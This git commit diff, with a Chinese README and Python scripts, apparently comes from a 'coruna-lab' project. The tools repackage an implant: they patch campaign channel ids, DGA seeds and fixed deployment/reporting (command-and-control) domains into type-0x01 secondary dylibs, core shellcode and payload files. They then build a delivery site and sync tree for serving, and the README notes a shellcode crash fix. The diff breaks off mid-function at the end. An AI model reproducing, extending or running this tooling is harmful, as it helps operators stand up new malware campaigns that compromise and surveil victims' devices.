init
This commit is contained in:
+36
-38
@@ -1,100 +1,98 @@
|
||||
# coruna-lab 工具:DGA seed / 固定域名
|
||||
# coruna-lab 工具:channel id / 固定域名
|
||||
|
||||
## 推荐:固定域名列表(多域名探测)
|
||||
## 推荐:`new_project.py`(新 channel + 固定域名)
|
||||
|
||||
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
|
||||
每次运行都会:
|
||||
|
||||
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
|
||||
- 全部 type0x01 二级包(10 个 `.min.js`)
|
||||
1. 自动生成 **32 hex** channel id(或 `--channel-id`)
|
||||
2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
|
||||
3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`)
|
||||
4. 写入固定域名 + channel,重打包全部 type0x01 二级包
|
||||
|
||||
**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web/<channel>/` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
python3 tools/new_project.py \
|
||||
/usr/bin/python3 tools/new_project.py \
|
||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example'
|
||||
```
|
||||
|
||||
也支持重复传参:
|
||||
也支持重复传参 / 指定 channel:
|
||||
|
||||
```bash
|
||||
python3 tools/new_project.py \
|
||||
/usr/bin/python3 tools/new_project.py \
|
||||
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||
--deployment-domains www.dep1.example \
|
||||
--deployment-domains www.dep2.example \
|
||||
--reporting-domains www.rep1.example \
|
||||
--reporting-domains www.rep2.example
|
||||
```
|
||||
|
||||
产物(`new_project.py` 写入 `server/public/`):
|
||||
产物(写入 `server/public/`):
|
||||
|
||||
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
|
||||
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
|
||||
- `server/public/out/domains.json` — 最终生效的域名列表
|
||||
- `server/public/web/<channel-id>/` — 投递站(可并存多个 channel)
|
||||
- `server/public/sync/` — 每次重建(同域名则内容一致)
|
||||
- `server/public/out/channel.json` — 本次 channel
|
||||
- `server/public/out/domains.json` — 固定域名列表
|
||||
- `server/public/out/seeds.json` — 由域名推导的内部 seed
|
||||
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
|
||||
|
||||
约束:
|
||||
|
||||
- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽)
|
||||
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
|
||||
- 可写 `https://host`(会自动去掉 scheme/path/port)
|
||||
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
|
||||
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
|
||||
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
|
||||
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
|
||||
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署
|
||||
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
|
||||
|
||||
---
|
||||
|
||||
## 仅重建(已有 server/public web/sync)
|
||||
## 仅重建(已有 server/public)
|
||||
|
||||
```bash
|
||||
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
|
||||
python3 tools/patch_all.py --apply --root server/public \
|
||||
# 自动生成 channel;若尚无 web/<channel>/ + sync/,会从 source/ 复制
|
||||
/usr/bin/python3 tools/patch_all.py --apply --root server/public \
|
||||
--channel-id 'dddddddddddddddddddddddddddddddd' \
|
||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 旧模式:只换 DGA seed(算域名)
|
||||
|
||||
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
|
||||
|
||||
```bash
|
||||
python3 tools/new_project.py
|
||||
# 或
|
||||
python3 tools/new_project.py \
|
||||
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
|
||||
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
|
||||
```
|
||||
域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。
|
||||
|
||||
### Seed 格式
|
||||
|
||||
- ASCII,长度 ≤ 32(二进制槽位定长 32)
|
||||
- 推荐正好 32 个十六进制字符
|
||||
- Deployment / Reporting 各一个
|
||||
- Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed
|
||||
|
||||
---
|
||||
|
||||
## 分步脚本
|
||||
|
||||
```bash
|
||||
# 二级包 type0x01
|
||||
python3 tools/patch_secondary_packs.py \
|
||||
# 二级包 type0x01(含 channel)
|
||||
/usr/bin/python3 tools/patch_secondary_packs.py \
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||
--channel-id <32hex> \
|
||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||
--root . --apply
|
||||
--root server/public --apply
|
||||
|
||||
# core + daily 校验
|
||||
python3 tools/patch_core.py \
|
||||
/usr/bin/python3 tools/patch_core.py \
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||
--root . --apply
|
||||
--root server/public --apply
|
||||
|
||||
# 只算 DGA 域名(固定域名模式不需要)
|
||||
python3 tools/compute_dga_domains.py \
|
||||
/usr/bin/python3 tools/compute_dga_domains.py \
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
|
||||
```
|
||||
|
||||
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
|
||||
源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web/<channel>/` + `sync/`(不会写 `source/`)。
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
"""Patch campaign / channel id embedded in type-0x01 secondary dylibs."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import secrets
|
||||
|
||||
# C-string keys immediately before the channel value in type-0x01 __cstring.
|
||||
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
|
||||
CHANNEL_LEN = 32
|
||||
_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$")
|
||||
|
||||
|
||||
def gen_channel_id() -> str:
|
||||
"""32 lowercase hex chars (same width as campaign slot)."""
|
||||
return secrets.token_hex(16)
|
||||
|
||||
|
||||
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
|
||||
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
|
||||
raise SystemExit(
|
||||
f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars "
|
||||
f"(got {value!r})"
|
||||
)
|
||||
return value
|
||||
|
||||
|
||||
def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]:
|
||||
"""Return offsets of the 32-byte channel value after CHANNEL_ANCHOR."""
|
||||
offsets: list[int] = []
|
||||
start = 0
|
||||
while True:
|
||||
index = data.find(CHANNEL_ANCHOR, start)
|
||||
if index < 0:
|
||||
break
|
||||
value_at = index + len(CHANNEL_ANCHOR)
|
||||
value = data[value_at : value_at + CHANNEL_LEN]
|
||||
if (
|
||||
len(value) == CHANNEL_LEN
|
||||
and _CHANNEL_RE.fullmatch(value)
|
||||
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
|
||||
):
|
||||
if expect_old is None or value == expect_old:
|
||||
offsets.append(value_at)
|
||||
start = index + 1
|
||||
return offsets
|
||||
|
||||
|
||||
def patch_channel_in_dylib(
|
||||
data: bytes,
|
||||
new_channel: str,
|
||||
*,
|
||||
old_channel: str | None = None,
|
||||
expect_hits: int = 1,
|
||||
label: str = "dylib",
|
||||
) -> bytes:
|
||||
"""In-place replace channel C-string (must stay {CHANNEL_LEN} bytes)."""
|
||||
new_channel = validate_channel_id(new_channel, name="channel")
|
||||
new_b = new_channel.encode("ascii")
|
||||
old_b = old_channel.encode("ascii") if old_channel else None
|
||||
if old_b is not None:
|
||||
validate_channel_id(old_channel, name="old channel")
|
||||
|
||||
offsets = find_channel_offsets(data, expect_old=old_b)
|
||||
if len(offsets) != expect_hits:
|
||||
raise SystemExit(
|
||||
f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). "
|
||||
"Secondary payload layout may have changed; re-adapt _channel_patch."
|
||||
)
|
||||
|
||||
buf = bytearray(data)
|
||||
for offset in offsets:
|
||||
buf[offset : offset + CHANNEL_LEN] = new_b
|
||||
return bytes(buf)
|
||||
+39
-10
@@ -13,7 +13,9 @@ MODULE_HUNT = ONLINE_ROOT / "module_hunt"
|
||||
if str(MODULE_HUNT) not in sys.path:
|
||||
sys.path.insert(0, str(MODULE_HUNT))
|
||||
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
|
||||
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden)
|
||||
|
||||
# Campaign originals (current seeds embedded in type-0x01 + core)
|
||||
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
|
||||
@@ -27,6 +29,7 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
|
||||
_TREE_ROOT = SOURCE_ROOT
|
||||
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
|
||||
SYNC_DIR = _TREE_ROOT / "sync"
|
||||
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
|
||||
C2_FETCH = ONLINE_ROOT / "c2_fetch"
|
||||
CORE_DYLIB = (
|
||||
@@ -53,25 +56,51 @@ def tree_root() -> Path:
|
||||
return _TREE_ROOT
|
||||
|
||||
|
||||
def set_tree_root(root: Path) -> Path:
|
||||
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync."""
|
||||
def campaign_id() -> str:
|
||||
return CAMPAIGN_HASH
|
||||
|
||||
|
||||
def set_campaign_id(channel: str) -> str:
|
||||
"""Point CAMPAIGN_DIR at web/<channel>/ under the current tree root."""
|
||||
global CAMPAIGN_HASH, CAMPAIGN_DIR
|
||||
from _channel_patch import validate_channel_id
|
||||
|
||||
CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
|
||||
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
|
||||
return CAMPAIGN_HASH
|
||||
|
||||
|
||||
def set_tree_root(root: Path, *, channel: str | None = None) -> Path:
|
||||
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/<channel>/ and root/sync."""
|
||||
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
|
||||
root = root.resolve()
|
||||
_TREE_ROOT = root
|
||||
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
|
||||
if channel is not None:
|
||||
set_campaign_id(channel)
|
||||
else:
|
||||
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
|
||||
SYNC_DIR = root / "sync"
|
||||
return root
|
||||
|
||||
|
||||
def ensure_tree_layout(root: Path) -> None:
|
||||
camp = root / "web" / CAMPAIGN_HASH
|
||||
def ensure_tree_layout(
|
||||
root: Path,
|
||||
*,
|
||||
channel: str | None = None,
|
||||
require_campaign: bool = True,
|
||||
) -> None:
|
||||
cid = channel or CAMPAIGN_HASH
|
||||
camp = root / "web" / cid
|
||||
sync = root / "sync"
|
||||
if not camp.is_dir() or not sync.is_dir():
|
||||
missing = []
|
||||
if require_campaign and not camp.is_dir():
|
||||
missing.append(f"web/{cid}/")
|
||||
if not sync.is_dir():
|
||||
missing.append("sync/")
|
||||
if missing:
|
||||
raise SystemExit(
|
||||
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
|
||||
f"missing working tree under {root} (need {', '.join(missing)}).\n"
|
||||
f"Run first:\n"
|
||||
f" python3 tools/new_project.py --skip-patch\n"
|
||||
f"or directly:\n"
|
||||
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
|
||||
)
|
||||
|
||||
|
||||
+127
-62
@@ -1,19 +1,33 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
|
||||
"""Build server/public campaign trees: new channel + fixed domains.
|
||||
|
||||
Seeds are derived deterministically from the domain lists (not user-facing).
|
||||
Same domains → same sync/ and same secondary domain patch; only channel differs.
|
||||
|
||||
Each run:
|
||||
- creates web/<channel-id>/
|
||||
- rebuilds sync/ from source + fixed-domain patch
|
||||
- leaves other web/<channel>/ dirs intact
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
from _channel_patch import gen_channel_id, validate_channel_id
|
||||
from _domain_patch import parse_domain_list
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
@@ -27,105 +41,156 @@ def replace_tree(src: Path, dst: Path) -> None:
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||
|
||||
|
||||
def copy_campaign_template(dst_campaign: Path) -> None:
|
||||
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
if not src.is_dir():
|
||||
raise SystemExit(f"missing source campaign: {src}")
|
||||
if dst_campaign.exists():
|
||||
raise SystemExit(f"campaign already exists: {dst_campaign}")
|
||||
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
||||
|
||||
|
||||
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
|
||||
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
|
||||
|
||||
def one(label: str, domains: list[str]) -> str:
|
||||
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
|
||||
return hashlib.sha256(material).hexdigest()[:32]
|
||||
|
||||
dep_seed = one("deployment", dep)
|
||||
rep_seed = one("reporting", rep)
|
||||
if dep_seed == rep_seed:
|
||||
rep_seed = one("reporting/alt", rep)
|
||||
return dep_seed, rep_seed
|
||||
|
||||
|
||||
def pick_channel(explicit: str | None, web_root: Path) -> str:
|
||||
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
|
||||
while (web_root / channel).exists():
|
||||
if explicit:
|
||||
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
|
||||
channel = gen_channel_id()
|
||||
return channel
|
||||
|
||||
|
||||
def run(cmd: list[str]) -> None:
|
||||
print("+", " ".join(cmd), flush=True)
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Copy source/web + source/sync to server/public, then run "
|
||||
"patch_all.py --apply --root server/public."
|
||||
"From source/, create server/public/web/<channel-id>/ with fixed "
|
||||
"Deployment/Reporting domains. Seeds are derived from domains "
|
||||
"(no --*-seed / no reuse-sync shortcut)."
|
||||
)
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-seed",
|
||||
help="optional; forwarded to patch_all (default: random)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-seed",
|
||||
help="optional; forwarded to patch_all (default: random)",
|
||||
"--channel-id",
|
||||
help="optional 32-hex channel id (default: random, unique under web/)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
required=True,
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
required=True,
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--skip-patch",
|
||||
action="store_true",
|
||||
help="only copy source trees to server/public; do not run patch_all",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
|
||||
fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
|
||||
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
|
||||
|
||||
src_web = SOURCE_ROOT / "web"
|
||||
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not (src_web / CAMPAIGN_HASH).is_dir():
|
||||
raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}")
|
||||
if not src_campaign.is_dir():
|
||||
raise SystemExit(f"missing source campaign: {src_campaign}")
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
||||
dst_web = APPLY_ROOT / "web"
|
||||
dst_sync = APPLY_ROOT / "sync"
|
||||
web_root = APPLY_ROOT / "web"
|
||||
sync_dir = APPLY_ROOT / "sync"
|
||||
out_root = APPLY_ROOT / "out"
|
||||
out_root.mkdir(parents=True, exist_ok=True)
|
||||
web_root.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
print("=== reset server/public from source ===")
|
||||
print(f"from: {SOURCE_ROOT}")
|
||||
print(f"to: {APPLY_ROOT}/{{web,sync}}")
|
||||
replace_tree(src_web, dst_web)
|
||||
replace_tree(src_sync, dst_sync)
|
||||
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
|
||||
channel = pick_channel(args.channel_id, web_root)
|
||||
campaign_dir = web_root / channel
|
||||
|
||||
if args.skip_patch:
|
||||
print("skip-patch: done (source copy only)")
|
||||
return 0
|
||||
print("=== new_project ===")
|
||||
print(f"channel: {channel}")
|
||||
print(f"web dest: {campaign_dir}")
|
||||
print(f" deployment: {', '.join(fixed_dep)}")
|
||||
print(f" reporting: {', '.join(fixed_rep)}")
|
||||
print(f" seeds: derived from domains (stable)")
|
||||
print()
|
||||
|
||||
cmd = [
|
||||
sys.executable,
|
||||
str(TOOLS / "patch_all.py"),
|
||||
"--apply",
|
||||
"--root",
|
||||
str(APPLY_ROOT),
|
||||
"-n",
|
||||
str(args.count),
|
||||
]
|
||||
if args.deployment_seed:
|
||||
cmd += ["--deployment-seed", args.deployment_seed]
|
||||
if args.reporting_seed:
|
||||
cmd += ["--reporting-seed", args.reporting_seed]
|
||||
for item in args.deployment_domains:
|
||||
cmd += ["--deployment-domains", item]
|
||||
for item in args.reporting_domains:
|
||||
cmd += ["--reporting-domains", item]
|
||||
print("=== copy campaign template ===")
|
||||
print(f"from: {src_campaign}")
|
||||
print(f"to: {campaign_dir}")
|
||||
copy_campaign_template(campaign_dir)
|
||||
print(f"created web/{channel}/")
|
||||
|
||||
print("=== reset sync from source ===")
|
||||
replace_tree(src_sync, sync_dir)
|
||||
print(f"copied sync/ -> {sync_dir}")
|
||||
|
||||
domain_args: list[str] = []
|
||||
for item in fixed_dep:
|
||||
domain_args += ["--deployment-domains", item]
|
||||
for item in fixed_rep:
|
||||
domain_args += ["--reporting-domains", item]
|
||||
|
||||
print()
|
||||
print("=== patch_all --apply ===")
|
||||
print("+", " ".join(cmd), flush=True)
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
run(
|
||||
[
|
||||
sys.executable,
|
||||
str(TOOLS / "patch_all.py"),
|
||||
"--apply",
|
||||
"--root",
|
||||
str(APPLY_ROOT),
|
||||
"--channel-id",
|
||||
channel,
|
||||
"--deployment-seed",
|
||||
dep_seed,
|
||||
"--reporting-seed",
|
||||
rep_seed,
|
||||
*domain_args,
|
||||
]
|
||||
)
|
||||
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"channel_id": channel,
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
|
||||
out_root = APPLY_ROOT / "out"
|
||||
print()
|
||||
print("=== ready ===")
|
||||
print(f"web: {dst_web / CAMPAIGN_HASH}")
|
||||
print(f"sync: {dst_sync}")
|
||||
print(f"seeds: {out_root / 'seeds.json'}")
|
||||
print(f"web: {campaign_dir}")
|
||||
print(f"sync: {sync_dir}")
|
||||
print(f"channel: {out_root / 'channel.json'}")
|
||||
print(f"domains: {out_root / 'domains.json'}")
|
||||
print()
|
||||
print("served by Laravel public:")
|
||||
print(f" /web/{CAMPAIGN_HASH}/support.html")
|
||||
print(f" /web/{channel}/support.html")
|
||||
print(" /sync/daily.html")
|
||||
return 0
|
||||
|
||||
|
||||
@@ -0,0 +1,299 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Build server/public campaign trees from source/ with new channel + domains.
|
||||
|
||||
Each run creates a new web/<channel-id>/ (32 hex). sync/ is rebuilt only when
|
||||
Deployment/Reporting domains change (or on first run). Re-running with the same
|
||||
domains only adds another web/<channel-id>/ and leaves sync/ + prior campaigns.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
from _channel_patch import gen_channel_id, validate_channel_id
|
||||
from _domain_patch import parse_domain_list
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
skip = {"_bak", "__pycache__", ".DS_Store"}
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
def replace_tree(src: Path, dst: Path) -> None:
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||
|
||||
|
||||
def copy_campaign_template(dst_campaign: Path) -> None:
|
||||
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
if not src.is_dir():
|
||||
raise SystemExit(f"missing source campaign: {src}")
|
||||
if dst_campaign.exists():
|
||||
raise SystemExit(f"campaign already exists: {dst_campaign}")
|
||||
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
||||
|
||||
|
||||
def load_json(path: Path) -> dict | None:
|
||||
if not path.is_file():
|
||||
return None
|
||||
return json.loads(path.read_text())
|
||||
|
||||
|
||||
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
|
||||
if not prev or prev.get("mode") != "fixed_domains":
|
||||
return False
|
||||
return (
|
||||
prev.get("deployment", {}).get("domains") == dep
|
||||
and prev.get("reporting", {}).get("domains") == rep
|
||||
)
|
||||
|
||||
|
||||
def pick_channel(explicit: str | None, web_root: Path) -> str:
|
||||
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
|
||||
while (web_root / channel).exists():
|
||||
if explicit:
|
||||
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
|
||||
channel = gen_channel_id()
|
||||
return channel
|
||||
|
||||
|
||||
def run(cmd: list[str]) -> None:
|
||||
print("+", " ".join(cmd), flush=True)
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"From source/, create server/public/web/<channel-id>/ with a new "
|
||||
"channel id and patched secondary packs; rebuild sync/ when domains change."
|
||||
)
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-id",
|
||||
help="optional 32-hex channel id (default: random, unique under web/)",
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; default: random or reuse")
|
||||
parser.add_argument("--reporting-seed", help="optional; default: random or reuse")
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force-sync",
|
||||
action="store_true",
|
||||
help="rebuild sync/ even when domains match the previous project",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--skip-patch",
|
||||
action="store_true",
|
||||
help="only copy source campaign+sync into server/public (no binary patch)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
if not args.deployment_domains and not args.skip_patch:
|
||||
raise SystemExit(
|
||||
"new_project requires --deployment-domains / --reporting-domains "
|
||||
"(or --skip-patch for a raw source copy)"
|
||||
)
|
||||
|
||||
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not src_campaign.is_dir():
|
||||
raise SystemExit(f"missing source campaign: {src_campaign}")
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
||||
web_root = APPLY_ROOT / "web"
|
||||
sync_dir = APPLY_ROOT / "sync"
|
||||
out_root = APPLY_ROOT / "out"
|
||||
out_root.mkdir(parents=True, exist_ok=True)
|
||||
web_root.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
channel = pick_channel(args.channel_id, web_root)
|
||||
campaign_dir = web_root / channel
|
||||
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
else None
|
||||
)
|
||||
fixed_rep = (
|
||||
parse_domain_list(args.reporting_domains, label="reporting")
|
||||
if args.reporting_domains
|
||||
else None
|
||||
)
|
||||
|
||||
prev_domains = load_json(out_root / "domains.json")
|
||||
prev_seeds = load_json(out_root / "seeds.json")
|
||||
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
|
||||
same_domains = (
|
||||
fixed_dep is not None
|
||||
and fixed_rep is not None
|
||||
and domains_equal(prev_domains, fixed_dep, fixed_rep)
|
||||
and sync_ready
|
||||
and not args.force_sync
|
||||
)
|
||||
|
||||
print("=== new_project ===")
|
||||
print(f"channel: {channel}")
|
||||
print(f"web dest: {campaign_dir}")
|
||||
if fixed_dep is not None:
|
||||
print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}")
|
||||
print(f" deployment: {', '.join(fixed_dep)}")
|
||||
print(f" reporting: {', '.join(fixed_rep)}")
|
||||
print()
|
||||
|
||||
print("=== copy campaign template ===")
|
||||
print(f"from: {src_campaign}")
|
||||
print(f"to: {campaign_dir}")
|
||||
copy_campaign_template(campaign_dir)
|
||||
print(f"created web/{channel}/")
|
||||
|
||||
if args.skip_patch:
|
||||
if not sync_ready:
|
||||
print("=== copy sync from source ===")
|
||||
replace_tree(src_sync, sync_dir)
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n"
|
||||
)
|
||||
print("skip-patch: done")
|
||||
return 0
|
||||
|
||||
assert fixed_dep is not None and fixed_rep is not None
|
||||
|
||||
py = sys.executable
|
||||
domain_args: list[str] = []
|
||||
for item in fixed_dep:
|
||||
domain_args += ["--deployment-domains", item]
|
||||
for item in fixed_rep:
|
||||
domain_args += ["--reporting-domains", item]
|
||||
|
||||
if same_domains:
|
||||
